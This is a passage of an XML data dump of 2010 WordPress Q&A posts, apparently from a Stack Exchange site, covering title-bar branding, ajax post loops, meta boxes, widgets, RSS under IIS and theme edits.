LastActivityDate="2010-12-10T15:30:03.460" />
  <row Id="5154" PostTypeId="1" AcceptedAnswerId="5184" CreationDate="2010-12-10T15:33:21.180" Score="1" ViewCount="237" Body="&lt;p&gt;Generally on our wordpress blogs,there will be a label &quot;Wordpress&quot; displayed on title bar .Does any body have idea how to hide or remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; : Here is a website's screenshot,which shows the label :&lt;img src=&quot;http://pixavid.com/uploads/lGQ2At.png&quot; alt=&quot;shared at pixavid.com&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website is powered by wordpress multisite installation and like many people I wanted it as self branded even though I keep link back to wordpress.org  at footer .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it inappropriate to do this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance !&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-12-11T05:33:02.457" LastActivityDate="2010-12-11T11:12:23.133" Title="Removing label 'Wordpress' from title bar" Tags="&lt;customization&gt;&lt;modifications&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="5155" PostTypeId="1" AcceptedAnswerId="5177" CreationDate="2010-12-10T16:43:13.063" Score="2" ViewCount="553" Body="&lt;p&gt;I display a random post loop on a page. I'd like to put a &quot;refresh&quot; link to refresh the content of the loop via ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my loop if it helps: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;ul id=&quot;content-inner&quot; class=&quot;thumb-grid clearfix&quot;&amp;gt;&#xA;            &amp;lt;?php query_posts('posts_per_page=20&amp;amp;orderby=rand'); ?&amp;gt;&#xA;            &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php echo $my_image_url = get('thumbnail'); ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;                        &amp;lt;span class=&quot;title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;span class=&quot;feat&quot;&amp;gt;&amp;lt;?php $articletags = strip_tags(get_the_tag_list('',', ',''));echo $articletags;?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endwhile;?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1778" LastEditorUserId="1778" LastEditorDisplayName="" LastEditDate="2010-12-10T22:16:53.500" LastActivityDate="2011-04-30T17:39:22.760" Title="Ajax loop refresh on click" Tags="&lt;loop&gt;&lt;ajax&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="5156" PostTypeId="1" CreationDate="2010-12-10T16:51:31.457" Score="0" ViewCount="373" Body="&lt;p&gt;I need to add a &quot;has-children&quot; class to the  tag if the current page's or post's menu item in fact has children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this &quot;logic&quot; has to work with Pages, Posts, Categories etc. menu items it seems it is not easy to find out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I am not sure I explained good enough: I need to add &quot;has-children&quot; not if the current page is a page-child but only if the current page's menu-item is a menu-item-child...&lt;/p&gt;&#xA;" OwnerUserId="1898" LastEditorUserId="1898" LastEditorDisplayName="" LastEditDate="2010-12-10T17:04:25.140" LastActivityDate="2011-04-18T14:04:34.467" Title="Add a &quot;has-children&quot; class to body tag?" Tags="&lt;menus&gt;" AnswerCount="2" />
  <row Id="5157" PostTypeId="1" CreationDate="2010-12-10T16:54:59.860" Score="0" ViewCount="204" Body="&lt;p&gt;I'm simply looking to set certain meta boxes inactive. I know about remove_meta_box() but I only want to make them inactive so that the user is still able to turn them back on from the screen options tab at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the Adminimize plugin (&lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/adminimize/&lt;/a&gt;) and it functions the way I was hoping to do it. Based on the user role it deactivates the meta boxes you want but doesn't remove them. Do you know how this plugin does it?&lt;/p&gt;&#xA;" OwnerUserId="1899" LastActivityDate="2011-01-17T21:10:37.713" Title="Set Edit Post meta boxes inactive" Tags="&lt;admin&gt;&lt;metabox&gt;" AnswerCount="2" />
  <row Id="5158" PostTypeId="2" ParentId="5154" CreationDate="2010-12-10T16:58:21.963" Score="1" ViewCount="" Body="&lt;p&gt;Best I can tell, by default Wordpress displays the Blog Title (Settings-&gt;General). Have you changed that to something besides the default?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2010-12-10T16:58:21.963" CommentCount="1" />
  <row Id="5159" PostTypeId="2" ParentId="5155" CreationDate="2010-12-10T17:05:40.213" Score="1" ViewCount="" Body="&lt;p&gt;This plugin seems like it would do what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-ajax-random-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-ajax-random-posts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use the plugin you could always check out the code for the refresh link and try to get it to work for you.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-12-10T17:05:40.213" />
  <row Id="5160" PostTypeId="1" AcceptedAnswerId="5380" CreationDate="2010-12-10T17:13:20.423" Score="1" ViewCount="189" Body="&lt;p&gt;How difficult would it be to add an option for &quot;nofollow&quot; to the Link editor's existing &quot;Link Relationship(XFN) options list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, or better yet, in addition, add an item to the &quot;Bulk Actions&quot; listing called &quot;Make links no follow&quot; that would make all selected links rel=&quot;nofollow&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add this feature to my theme's functions.php&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-06T01:48:18.100" Title="How to add an option for &quot;nofollow&quot; to the Link editor's existing &quot;Link Relationship(XFN) options list?" Tags="&lt;theme-development&gt;&lt;plugin-development&gt;" AnswerCount="4" />
  <row Id="5161" PostTypeId="1" CreationDate="2010-12-10T17:25:18.550" Score="0" ViewCount="275" Body="&lt;p&gt;I have a custom field called expiry_date with a value of let's say 2010-12-11 00:00:00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is, in my query loop, only return posts with this expiry_date custom field attached to posts and the following condition:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The date in the expiry_date custom field has to be within 24 hours of expiring, if it past the current date, the post is 'expired' and will not show in the loop or if the post is within 25 hours of expiring, it will also not show etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any idea at all please&lt;/p&gt;&#xA;" OwnerUserId="1464" LastActivityDate="2011-01-09T20:11:44.827" Title="Custom Field Date Problem" Tags="&lt;custom-field&gt;&lt;query&gt;&lt;date-time&gt;" AnswerCount="2" />
  <row Id="5162" PostTypeId="1" CreationDate="2010-12-10T17:36:30.587" Score="0" ViewCount="82" Body="&lt;p&gt;I want to copy the theme I am using now, so that I can change it an test online (using the Theme Test Drive plugin). At this moment I haven't ftp, telnet or even access to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can re-install the theme I am using under another name? So that I could change that?&lt;/p&gt;&#xA;" OwnerUserId="1542" LastActivityDate="2010-12-10T17:59:33.837" Title="How to create a new copy of a theme currently being used?" Tags="&lt;themes&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5163" PostTypeId="2" ParentId="5156" CreationDate="2010-12-10T17:46:39.940" Score="1" ViewCount="" Body="&lt;p&gt;There is a body_class filter, if memory serves. That would be the right one to use.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T17:46:39.940" CommentCount="2" />
  <row Id="5164" PostTypeId="2" ParentId="5161" CreationDate="2010-12-10T17:50:13.340" Score="0" ViewCount="" Body="&lt;p&gt;You're looking for a BETWEEN clause, which isn't supported off the top of my head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might get around this by using two meta clauses, one &gt;= and the other &amp;lt;=, both on the same meta key. WP is likely to join the meta table twice, which isn't great for performance, but it'll work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, use the posts_join and the posts_where filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and... in case it needs reminding, your queries are going to be slow if you've any significant amount of data, due to the lack of index on the meta value. I've no idea of what your use case might be about, but it sounds like one where an extra field to the originating table is the proper way to go.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T17:50:13.340" CommentCount="7" />
  <row Id="5165" PostTypeId="2" ParentId="5162" CreationDate="2010-12-10T17:52:58.923" Score="0" ViewCount="" Body="&lt;p&gt;Download it from the themes directory?&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T17:52:58.923" />
  <row Id="5166" PostTypeId="2" ParentId="5160" CreationDate="2010-12-10T17:54:34.833" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure there's a filter or action in there. If so, reasonably easy. If not, use my External Links plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sem-external-links/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/sem-external-links/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T17:54:34.833" CommentCount="2" />
  <row Id="5167" PostTypeId="2" ParentId="5162" CreationDate="2010-12-10T17:59:33.837" Score="3" ViewCount="" Body="&lt;p&gt;I assume you do have full access to admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several options I came up with without much thinking:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make an archive with modified copy of theme, install it through file upload. Obviously this is easier if you have copy of theme, otherwise you might have to build it file by file from sources accessible in theme &lt;code&gt;Editor&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Create child theme for original theme, install via file upload. Might or might not fit, depending on what you want to do.&lt;/li&gt;&#xA;&lt;li&gt;Create a plugin that will on activation copy theme to another folder and modify its detail. Little bit too geeky.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-10T17:59:33.837" />
  <row Id="5168" PostTypeId="2" ParentId="5154" CreationDate="2010-12-10T18:11:22.243" Score="5" ViewCount="" Body="&lt;p&gt;You're so ashamed to be using WordPress? :-)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There's a filter in WP 3.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$admin_title = apply_filters( 'admin_title', $admin_title, $title );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-12-11T11:12:23.133" LastActivityDate="2010-12-11T11:12:23.133" CommentCount="3" />
  <row Id="5169" PostTypeId="2" ParentId="5157" CreationDate="2010-12-10T18:14:33.460" Score="3" ViewCount="" Body="&lt;p&gt;There's a default_hidden_meta_boxes filter which allows you to do that. It gets called like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$hidden = apply_filters('default_hidden_meta_boxes', $hidden, $screen);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T18:14:33.460" CommentCount="2" />
  <row Id="5170" PostTypeId="2" ParentId="3895" CreationDate="2010-12-10T21:15:36.673" Score="0" ViewCount="" Body="&lt;p&gt;Well, yes, with a little work. One of my customers needed exactly that. We used GravityForms, and David Smith &lt;a href=&quot;http://www.ounceoftalent.com&quot; rel=&quot;nofollow&quot;&gt;http://www.ounceoftalent.com&lt;/a&gt; did some custom work. The form pulled html from a custom field, and the final pdf looked pretty nice, including several images on each page. Sorry I can't provide a link, the site isn't live right now.&lt;/p&gt;&#xA;" OwnerUserId="319" LastActivityDate="2010-12-10T21:15:36.673" />
  <row Id="5171" PostTypeId="1" AcceptedAnswerId="5173" CreationDate="2010-12-10T21:44:53.110" Score="0" ViewCount="304" Body="&lt;p&gt;Running IIS 7 and WP 3.0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a web.config that has the necessary rewrite rules to make permalinks work, and they're working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I point to n-nexus.realtimepublishers.com/content/?feed=rss2, the server first generates an HTTP 404. Weirdly, it then delivers the RSS feed. The problem is that the initial 404 makes things like FeedBurner and Safari barf; Firefox displays the feed properly (you can see the 404 error in Live HTTP Headers, though). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the heck am I not configuring properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Disabled all plugins. No change. Boo.&lt;/p&gt;&#xA;" OwnerUserId="757" LastEditorUserId="757" LastEditorDisplayName="" LastEditDate="2010-12-15T19:44:39.770" LastActivityDate="2010-12-15T19:44:39.770" Title="How do you make RSS feeds work under IIS 7?" Tags="&lt;rss&gt;&lt;iis&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5172" PostTypeId="2" ParentId="3895" CreationDate="2010-12-10T22:02:12.083" Score="1" ViewCount="" Body="&lt;p&gt;There also is the gory approach, which is to use Zend_Pdf:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://framework.zend.com/manual/en/zend.pdf.html&quot; rel=&quot;nofollow&quot;&gt;http://framework.zend.com/manual/en/zend.pdf.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T22:02:12.083" />
  <row Id="5173" PostTypeId="2" ParentId="5171" CreationDate="2010-12-10T22:05:22.567" Score="1" ViewCount="" Body="&lt;p&gt;The 404 is typical of WP thinking it has got no posts. Seeing that you actually have posts, I'm prompted to ask if you've plugins that mess around with query arguments or that override the loop partially or entirely? If so, they might be missing a few lines of code to allow WP to &quot;know&quot; it has found posts.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T22:05:22.567" CommentCount="3" />
  <row Id="5174" PostTypeId="2" ParentId="5146" CreationDate="2010-12-10T22:17:44.317" Score="1" ViewCount="" Body="&lt;p&gt;You need to do this in two steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create the actual widget. Find a widget ID that does not exist, and toss in an extra entry in (off the top of my head) the widget_text option, which corresponds to the text widget config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Off the top of my head, it'll look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ops = get_option('widget_text');&#xA;// find an $id that works...&#xA;$ops[$id] = array(&#xA;  'title' =&amp;gt; 'foo',&#xA;  'text' =&amp;gt; 'bar', // content?&#xA;);&#xA;update_option('widget_text', $ops);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, add it to your sidebar (again, off the top of my head):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sidebars_widgets = get_option('sidebars_widgets');&#xA;$sidebars_widgets[$sidebar_id][] = [&quot;widget_text-$id&quot;];&#xA;update_option('sidebars_widgets', $sidebars_widgets);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm no longer 100% sure on the actual option names, but the general idea is as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you want extensive examples of sidebar manipulation (including heaps of inanities related to API changes related to WP upgrades), check the inc/upgrade.php file of my theme:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.semiologic.com/software/sem-reloaded/&quot; rel=&quot;nofollow&quot;&gt;http://www.semiologic.com/software/sem-reloaded/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or my Subscribe Me plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.semiologic.com/software/subscribe-me/&quot; rel=&quot;nofollow&quot;&gt;http://www.semiologic.com/software/subscribe-me/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T22:17:44.317" CommentCount="3" />
  <row Id="5175" PostTypeId="2" ParentId="5113" CreationDate="2010-12-10T22:27:45.870" Score="1" ViewCount="" Body="&lt;p&gt;If they're in the same DB, it's easy enough. Pull them straight out of the DB using $wpdb. And there might even be a WP plugin or a BB plugin that does this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're not in the same DB, but on the same server, you can access them by prefixing the DB table with the DB's name, e.g. &lt;code&gt;mybbpressdb.bb_posts&lt;/code&gt;, or something to that effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're not on the same server, you need to create a new connection, using mysql_connect(), mysqli_connect() or a PDO instance. If you use either of the first two, be sure to use the parameter that makes mysql create a new connection -- else it may discard the one from $wpdb.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T22:27:45.870" />
  <row Id="5176" PostTypeId="2" ParentId="5073" CreationDate="2010-12-10T22:30:55.117" Score="1" ViewCount="" Body="&lt;p&gt;If you need to use a custom menu, then what you're doing is probably the only way. &quot;Select All&quot; in the Categories meta box on the admin menus screen, &quot;Add to menu&quot;, and then reorder the category items as you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you just want an automatic list of categories, then why not just call &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;wp_list_categories()&lt;/a&gt; in your theme?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-10T22:30:55.117" />
  <row Id="5177" PostTypeId="2" ParentId="5155" CreationDate="2010-12-10T22:57:02.653" Score="3" ViewCount="" Body="&lt;p&gt;Shouldn't be too tricky. First: create a javascript file and add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;  $('#refresh-links-id').click(function(e){&#xA;    e.preventDefault();&#xA;    $.post(ajaxurl,{action:'jpb_random_loop'}, function(data){&#xA;      $('#content-inner').fadeOut(250).empty().append( data ).fadeIn(250);&#xA;    });&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save that file in your theme directory somewhere (could be in a subdirectory too). For this to work, the refresh link should not be inside &lt;code&gt;ul#content-inner&lt;/code&gt;. Pretty basic jQuery post call, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, add this to your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jpb_template_redirect(){&#xA;  if( &amp;lt;conditions under which this javascript should execute&amp;gt; ){&#xA;    wp_enqueue_script( 'random-loop', '&amp;lt;url to the javascript file above&amp;gt;', array( 'jquery' ), '1.0' );&#xA;  }&#xA;}&#xA;&#xA;function jpb_random_loop_cb(){&#xA;  query_posts('posts_per_page=20&amp;amp;orderby=rand');&#xA;  if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;&amp;lt;?php echo $my_image_url = get('thumbnail'); ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;      &amp;lt;span class=&quot;title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;span class=&quot;feat&quot;&amp;gt;&amp;lt;?php $articletags = strip_tags(get_the_tag_list('',', ',''));echo $articletags;?&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  &amp;lt;?php endwhile; endif;&#xA;  die();&#xA;}&#xA;&#xA;add_action( 'template_redirect', 'jpb_template_redirect' );&#xA;add_action( 'wp_ajax_jpb_random_loop', 'jpb_random_loop_cb' );&#xA;add_action( 'wp_ajax_nopriv_jpb_random_loop', 'jpb_random_loop_cb' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will tie everything together. Just make sure the logic is correct in the &lt;code&gt;template_redirect&lt;/code&gt; function so that the javascript is included in the right pages.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-10T22:57:02.653" CommentCount="6" />
  <row Id="5178" PostTypeId="1" CreationDate="2010-12-11T03:13:31.843" Score="0" ViewCount="201" Body="&lt;p&gt;I want to have two search bars, one which works normally and one that searchs only in the post content but I can't even find the code of the search funtion to create the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use a plugin to make my search function only search in post content? Thanks in advance&lt;/p&gt;&#xA;" LastActivityDate="2010-12-30T12:00:20.820" Title="How do I make search only search in post content?" Tags="&lt;php&gt;&lt;search&gt;&lt;html&gt;" AnswerCount="1" />
  <row Id="5179" PostTypeId="1" CreationDate="2010-12-11T03:50:45.253" Score="1" ViewCount="331" Body="&lt;p&gt;I found some plugins which let me make my own forms but none worked for different reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply want to make a form so that users can upload files to a folder located in www.chusmix.com/images  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying this code, but it sends me to a &quot;page not found&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form enctype=&quot;multipart/form-data&quot; method=&quot;post&quot; action=&quot;http://chusmix.com/Imagenes/grupos&quot;&amp;gt;&#xA;&#xA;Please specify a file:&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;file&quot; name=&quot;datafile&quot; size=&quot;40&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Send&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2010-12-11T21:34:12.270" Title="How do I let users upload files to a chosen location?" Tags="&lt;php&gt;&lt;images&gt;&lt;form&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5180" PostTypeId="2" ParentId="5154" CreationDate="2010-12-11T06:07:39.493" Score="1" ViewCount="" Body="&lt;p&gt;Is it inappropriate to do this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, your looking at the meta title tag, the easiest solution to change this is with an SEO plugin that can alter the meta title tags dynamically or manually. All of the top SEO plugins have this functionality.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-11T06:07:39.493" CommentCount="1" />
  <row Id="5181" PostTypeId="1" AcceptedAnswerId="5208" CreationDate="2010-12-11T06:45:53.877" Score="1" ViewCount="198" Body="&lt;p&gt;i just want this code to be added in my functions.php, so that it will directly display after my post ends&#xA;currently i am adding this code to my single.php,&#xA;but i want to add this is in functions.php, this code is use to fetch all the tweets of the respective account,&#xA;the code is here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function parse_twitter_feed($feed, $prefix, $tweetprefix, $tweetsuffix, $suffix) {&#xA;  $feed = str_replace(&quot;&amp;amp;lt;&quot;, &quot;&amp;lt;&quot;, $feed);&#xA;  $feed = str_replace(&quot;&amp;amp;gt;&quot;, &quot;&amp;gt;&quot;, $feed);&#xA;  $clean = explode(&quot;&amp;lt;content type=\&quot;html\&quot;&amp;gt;&quot;, $feed);&#xA;&#xA;  $amount = count($clean) - 1;&#xA;&#xA;  echo $prefix;&#xA;&#xA;  for ($i = 1; $i &amp;lt;= $amount; $i++) {&#xA;    $cleaner = explode(&quot;&amp;lt;/content&amp;gt;&quot;, $clean[$i]);&#xA;    echo $tweetprefix;&#xA;    echo $cleaner[0];&#xA;    echo $tweetsuffix;&#xA;  }&#xA;&#xA;  echo $suffix;&#xA;}&#xA;&#xA;function the_twitter_feed($username) {&#xA;  // $username = &quot;Mba_&quot;; // Your twitter username.&#xA;  $limit = &quot;5&quot;; // Number of tweets to pull in.&#xA;&#xA;  /* These prefixes and suffixes will display before and after the entire block of tweets. */&#xA;  $prefix = &quot;&quot;; // Prefix - some text you want displayed before all your tweets.&#xA;  $suffix = &quot;&quot;; // Suffix - some text you want displayed after all your tweets.&#xA;  $tweetprefix = &quot;&quot;; // Tweet Prefix - some text you want displayed before each tweet.&#xA;  $tweetsuffix = &quot;&amp;lt;br&amp;gt;&quot;; // Tweet Suffix - some text you want displayed after each tweet.&#xA;&#xA;  $feed = &quot;http://search.twitter.com/search.atom?q=from:&quot; . $username . &quot;&amp;amp;rpp=&quot; . $limit;&#xA;&#xA;  $twitterFeed = get_transient($feed);&#xA;  if (!$twitterFeed) {&#xA;    $twitterFeed = wp_remote_fopen($feed);&#xA;    set_transient($feed, $twitterFeed, 3600); // cache for an hour&#xA;  }&#xA;  if ($twitterFeed)&#xA;    parse_feed($twitterFeed, $prefix, $tweetprefix, $tweetsuffix, $suffix);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-12-11T12:57:21.043" LastActivityDate="2010-12-12T07:01:47.580" Title="write in functions.php" Tags="&lt;functions&gt;&lt;code&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="5182" PostTypeId="1" AcceptedAnswerId="5189" CreationDate="2010-12-11T10:01:22.413" Score="0" ViewCount="238" Body="&lt;p&gt;I am using Manifest 1.01 by Jim Barraud on my site www.inteftrust.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know how can I get full width with this theme. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1677" LastActivityDate="2010-12-13T14:21:22.807" Title="How to edit my theme for full width?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;css&gt;" AnswerCount="2" />
  <row Id="5183" PostTypeId="1" CreationDate="2010-12-11T11:01:26.170" Score="1" ViewCount="97" Body="&lt;p&gt;The issue appeared immediately after upgrade.  The only part of the application impacted is the sub-menu items under settings where it relates to a plug-in.  The core application settings work, just not the plug-ins.  All plug-ins are up to date and impacted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2010-12-11T14:16:48.343" Title="Upgraded to latest version - 3.0.3 and Now I get a &quot;sufficient permissions to access this page&quot; error" Tags="&lt;plugins&gt;&lt;security&gt;&lt;upgrade&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="5184" PostTypeId="2" ParentId="5154" CreationDate="2010-12-11T11:07:08.707" Score="2" ViewCount="" Body="&lt;p&gt;I personaly don't think you should really do this, and I would leave it there if I were you - it is in fact a way to support WordPress, and don't forget you got it for free. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but, if you really want to do it, go to /wp-admin/admin-header.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and remove &lt;code&gt;&amp;amp;#8212; WordPress&lt;/code&gt; from this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php echo $title; ?&amp;gt; &amp;amp;lsaquo; &amp;lt;?php bloginfo('name') ?&amp;gt;  &amp;amp;#8212; WordPress&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2010-12-11T11:07:08.707" CommentCount="1" />
  <row Id="5185" PostTypeId="1" CreationDate="2010-12-11T11:13:17.950" Score="0" ViewCount="82" Body="&lt;p&gt;(this might be better suited as a community wiki, can one of the mods edit it please?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Info&lt;/strong&gt; : I have one main blog, where I discuss IT stuff like programming, android, Java etc which compensates my day job nicely (Java developer). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to start blogging about other, non related interests (such as karate, fitness, languages etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt; : Would it be best suited to setup a second installation of wordpress for these, or should I just keep one installation and separate using categories? What are the pros/cons of doing this?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:36:47.010" LastActivityDate="2011-01-11T07:36:47.010" Title="Why should I keep my personal wordpress separate from my &quot;professional&quot; one?" Tags="&lt;best-practices&gt;&lt;blogging&gt;" AnswerCount="1" />
